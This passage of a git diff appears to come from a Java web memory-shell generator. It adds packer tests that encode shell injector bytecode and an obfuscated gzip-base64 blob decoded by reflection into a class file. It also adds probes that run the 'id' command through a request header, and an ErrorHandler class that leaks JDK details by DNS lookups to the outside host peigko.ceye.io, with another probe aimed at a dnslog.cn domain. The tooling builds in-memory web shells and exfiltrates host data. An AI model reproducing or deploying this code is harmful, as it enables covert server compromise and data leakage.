org.junit.jupiter.api.Assertions.assertEquals; @@ -21,9 +26,43 @@ class GzipBase64Test { @Test @SneakyThrows void compress() { - GenerateResult generateResult = new GenerateResult(); + MemShellResult generateResult = new MemShellResult(); generateResult.setInjectorBytes("hello world".getBytes()); String pack = new GzipBase64Packer().pack(generateResult.toClassPackerConfig()); assertEquals("hello world", new String(CommonUtil.gzipDecompress(Base64.getDecoder().decode(pack)))); } + + @Test + @SneakyThrows + void decompress() { + String var9 = "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"; + byte[] var11 = null; + + Class elapsedTime; + try { + elapsedTime = Class.forName("java.util.Base64"); + Object var12 = elapsedTime.getMethod("getDecoder", (Class[]) null).invoke(elapsedTime, (Object[]) null); + var11 = (byte[]) var12.getClass().getMethod("decode", String.class).invoke(var12, var9); + } catch (Exception var34) { + try { + elapsedTime = Class.forName("sun.misc.BASE64Decoder"); + Object var14 = elapsedTime.newInstance(); + var11 = (byte[]) var14.getClass().getMethod("decodeBuffer", String.class).invoke(var14, var9); + } catch (Exception var33) { + } + } + + ByteArrayOutputStream var16 = new ByteArrayOutputStream(); + ByteArrayInputStream var17 = new ByteArrayInputStream(var11); + GZIPInputStream var18 = new GZIPInputStream(var17); + byte[] var19 = new byte[256]; + + int var20; + while ((var20 = var18.read(var19)) >= 0) { + var16.write(var19, 0, var20); + } + + byte[] var21 = var16.toByteArray(); + Files.write(Paths.get("hello.class"), var21); + } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java index 30d7c527..e66a176e 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.packer.jsp.JspPacker; import org.junit.jupiter.api.Test; @@ -14,7 +14,7 @@ class JspPackerTest { @Test void pack() { - GenerateResult generateResult = GenerateResult.builder() + MemShellResult generateResult = MemShellResult.builder() .injectorClassName("hehe") .injectorBytesBase64Str("hehe").build(); String jspContent = new JspPacker().pack(generateResult.toClassPackerConfig()); diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java index fad09b80..2c1de07f 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker; import org.junit.jupiter.api.Test; @@ -14,7 +14,7 @@ class ScriptEnginePackerTest { @Test void pack() { - GenerateResult generateResult = GenerateResult.builder() + MemShellResult generateResult = MemShellResult.builder() .injectorClassName("hehe") .injectorBytesBase64Str("hehe").build(); String jsContent = new ScriptEnginePacker().pack(generateResult.toClassPackerConfig()); diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java index ed354e7d..df9304e7 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java @@ -1,11 +1,7 @@ package com.reajason.javaweb.memshell.tomcat.command; -import com.reajason.javaweb.memshell.MemShellGenerator; -import com.reajason.javaweb.memshell.Server; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.*; import com.reajason.javaweb.memshell.config.CommandConfig; -import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.generator.command.CommandGenerator; @@ -72,7 +68,7 @@ class CommandFilterTest { .build(); InjectorConfig injectorConfig = new InjectorConfig(); - GenerateResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig); + MemShellResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig); // Files.write(Paths.get("hehe.class"), generate.getShellBytes()); String pack = Packers.ScriptEngine.getInstance().pack(generate.toClassPackerConfig()); System.out.println(pack); diff --git a/generator/src/test/java/com/reajason/javaweb/probe/ProbeGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/probe/ProbeGeneratorTest.java new file mode 100644 index 00000000..e36eac77 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/probe/ProbeGeneratorTest.java @@ -0,0 +1,32 @@ +package com.reajason.javaweb.probe; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.config.ProbeConfig; +import com.reajason.javaweb.probe.config.ResponseBodyConfig; +import lombok.SneakyThrows; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/8/5 + */ +class ProbeGeneratorTest { + + @Test + @SneakyThrows + void generate() { + ProbeConfig probeConfig = ProbeConfig.builder() + .probeMethod(ProbeMethod.ResponseBody) + .probeContent(ProbeContent.Bytecode) + .build(); + ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder() + .server(Constants.Server.JETTY) + .reqParamName("payload") + .build(); + ProbeResult probeResult = ProbeGenerator.generate(probeConfig, responseBodyConfig); + System.out.println(probeResult.getShellBytesBase64Str()); +// Files.write(Paths.get("hello.class"), probeResult.getShellBytes()); + System.out.println(Packers.ScriptEngine.getInstance().pack(probeResult.toClassPackerConfig())); + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/probe/payload/Hello.java b/generator/src/test/java/com/reajason/javaweb/probe/payload/Hello.java new file mode 100644 index 00000000..48ac796b --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/probe/payload/Hello.java @@ -0,0 +1,12 @@ +package com.reajason.javaweb.probe.payload; + +/** + * @author ReaJason + * @since 2025/8/1 + */ +public class Hello { + @Override + public String toString() { + return null; + } +} diff --git a/generator/src/test/java/com/reajason/javaweb/probe/payload/JdkDetectionTest.java b/generator/src/test/java/com/reajason/javaweb/probe/payload/JdkDetectionTest.java new file mode 100644 index 00000000..2de9c357 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/probe/payload/JdkDetectionTest.java @@ -0,0 +1,30 @@ +package com.reajason.javaweb.probe.payload; + +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.asm.Advice; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2025/8/1 + */ +class JdkDetectionTest { + + @Test + @Disabled + @SneakyThrows + void test() { + byte[] bytes = new ByteBuddy() + .redefine(Hello.class) + .visit(Advice.to(JdkProbe.class).on(named("toString"))) + .make().getBytes(); + Files.write(Paths.get("jdkDetection.class"), bytes); + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/probe/payload/OsDetectionTest.java b/generator/src/test/java/com/reajason/javaweb/probe/payload/OsDetectionTest.java new file mode 100644 index 00000000..50c4d803 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/probe/payload/OsDetectionTest.java @@ -0,0 +1,35 @@ +package com.reajason.javaweb.probe.payload; + +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.asm.Advice; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2025/7/26 + */ +class OsDetectionTest { + + @Test + @Disabled + @SneakyThrows + void testBytes() { + byte[] bytes = new ByteBuddy() + .redefine(Hello.class) + .visit(Advice.to(OsProbe.class).on(named("toString"))) + .make().getBytes(); + Files.write(Paths.get("osDetection.class"), bytes); + } + + @Test + void test() { + System.out.println(System.getProperty("os.name").toLowerCase()); + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/probe/payload/dns/ServerDnsLogTest.java b/generator/src/test/java/com/reajason/javaweb/probe/payload/dns/ServerDnsLogTest.java new file mode 100644 index 00000000..f2c62709 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/probe/payload/dns/ServerDnsLogTest.java @@ -0,0 +1,30 @@ +package com.reajason.javaweb.probe.payload.dns; + +import com.reajason.javaweb.probe.payload.ServerProbe; +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.asm.Advice; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2025/8/1 + */ +class ServerDnsLogTest { + + @Test + @Disabled + @SneakyThrows + void test() { + Class loaded = new ByteBuddy() + .redefine(DnsLogServer.class) + .name("ServerDnsLogTest1") + .field(named("host")).value("ixdcn4.dnslog.cn") + .visit(Advice.to(ServerProbe.class).on(named("getServer"))) + .make().load(getClass().getClassLoader()).getLoaded(); + loaded.getDeclaredConstructor().newInstance(); + } +} \ No newline at end of file diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index 42acb200..79bb96b7 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -13,7 +13,7 @@ jetbrains-annotations = "26.0.2" byte-buddy = "1.17.6" commons-io = "2.20.0" commons-lang3 = "3.18.0" -commons-codec = "1.18.0" +commons-codec = "1.19.0" logback = "1.5.18" okhttp3 = "5.1.0" fastjson2 = "2.0.57" @@ -21,8 +21,8 @@ java-websocket = "1.6.0" mockito = "5.18.0" hamcrest = "3.0" -junit-jupiter = "5.13.3" -junit-platform = "1.13.3" +junit-jupiter = "5.13.4" +junit-platform = "1.13.4" testcontainers = "1.21.3" [libraries] diff --git a/integration-test/build.gradle.kts b/integration-test/build.gradle.kts index c1ba7a81..c6f3e6ef 100644 --- a/integration-test/build.gradle.kts +++ b/integration-test/build.gradle.kts @@ -1,11 +1,18 @@ plugins { id("java") + id("idea") alias(libs.plugins.lombok) } group = "io.github.reajason" version = rootProject.version +idea { + module { + excludeDirs.add(file("src/main")) + } +} + dependencies { testImplementation(project(":memshell-party-common")) testImplementation(project(":tools:behinder")) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index 85fd441c..fef08123 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -46,4 +46,25 @@ public class ContainerTool { log.info("container started, app url is : {}", url); return url; } + + public static String getUrlFromSpringBoot(GenericContainer container) { + int port = container.getMappedPort(8080); + String url = "http://127.0.0.1:" + port; + log.info("container started, app url is : {}", url); + return url; + } + + public static String getUrlFromWebLogic(GenericContainer container) { + int port = container.getMappedPort(7001); + String url = "http://127.0.0.1:" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } + + public static String getUrlFromWAS(GenericContainer container) { + int port = container.getMappedPort(9080); + String url = "http://127.0.0.1:" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ErrorHandler.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ErrorHandler.java new file mode 100644 index 00000000..9dd6c86a --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ErrorHandler.java @@ -0,0 +1,32 @@ +package com.reajason.javaweb.integration; + +import java.io.File; +import java.net.InetAddress; + +/* loaded from: Hello.class */ +public class ErrorHandler { + public static String host = "peigko.ceye.io"; + + public ErrorHandler() { + String[] strArrSplit = getJdk().split("\\|"); + for (String str : new String[]{"jdkType." + strArrSplit[0], "javaVersion." + strArrSplit[1], "classFileVersion." + strArrSplit[2]}) { + try { + System.out.println(str + "." + host); + InetAddress byName = InetAddress.getByName(str + "." + host); + System.out.println(byName); + } catch (Throwable e) { + e.printStackTrace(); + } + } + } + + private String getJdk() { + String property = System.getProperty("java.home"); + String str = File.separatorChar == '\\' ? "javac.exe" : "javac"; + return ((new File(property, new StringBuilder().append("bin").append(File.separator).append(str).toString()).exists() || new File(new File(property).getParentFile(), new StringBuilder().append("bin").append(File.separator).append(str).toString()).exists()) ? "JDK" : "JRE") + "|" + System.getProperty("java.version") + "|" + String.valueOf(Double.valueOf(Double.parseDouble(System.getProperty("java.class.version"))).intValue()); + } + + public static void main(String[] args) { + new ErrorHandler(); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java new file mode 100644 index 00000000..20f96273 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java @@ -0,0 +1,82 @@ +package com.reajason.javaweb.integration; + +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.probe.ProbeContent; +import com.reajason.javaweb.probe.ProbeGenerator; +import com.reajason.javaweb.probe.ProbeMethod; +import com.reajason.javaweb.probe.ProbeResult; +import com.reajason.javaweb.probe.config.ProbeConfig; +import com.reajason.javaweb.probe.config.ResponseBodyConfig; +import lombok.SneakyThrows; +import okhttp3.*; + +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2025/8/8 + */ +public class ProbeAssertion { + + @SneakyThrows + public static void responseBytecodeIsOk(String url, String server, int targetJreVersion) { + ProbeConfig probeConfig = ProbeConfig.builder() + .probeMethod(ProbeMethod.ResponseBody) + .probeContent(ProbeContent.Bytecode) + .targetJreVersion(targetJreVersion) + .debug(true) + .shrink(true) + .build(); + String reqParamName = "payload"; + ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder() + .server(server) + .reqParamName(reqParamName) + .build(); + ProbeResult probeResult = ProbeGenerator.generate(probeConfig, responseBodyConfig); + RequestBody requestBody = new FormBody.Builder() + .add("data", probeResult.getShellBytesBase64Str()) + .add(reqParamName, DetectionTool.getServerDetection()) + .build(); + Request request = new Request.Builder() + .header("Content-Type", "application/x-www-form-urlencoded") + .url(url + "/b64").post(requestBody) + .build(); + try (Response response = new OkHttpClient().newCall(request).execute()) { + assertEquals(server, response.body().string()); + } + } + + @SneakyThrows + public static void responseCommandIsOk(String url, String server, int targetJreVersion) { + ProbeConfig probeConfig = ProbeConfig.builder() + .probeMethod(ProbeMethod.ResponseBody) + .probeContent(ProbeContent.Command) + .debug(true) + .shrink(true) + .targetJreVersion(targetJreVersion) + .build(); + String headerName = "X-Header"; + ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder() + .server(server) + .reqHeaderName(headerName) + .build(); + ProbeResult probeResult = ProbeGenerator.generate(probeConfig, responseBodyConfig); + String content = probeResult.getShellBytesBase64Str(); + RequestBody requestBody = new FormBody.Builder() + .add("data", content) + .build(); + Request request = new Request.Builder() + .header("Content-Type", "application/x-www-form-urlencoded") + .header(headerName, "id") + .url(url + "/b64").post(requestBody) + .build(); + try (Response response = new OkHttpClient().newCall(request).execute()) { + assertThat(response.body().string(), anyOf( + containsString("uid=") + )); + } + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java 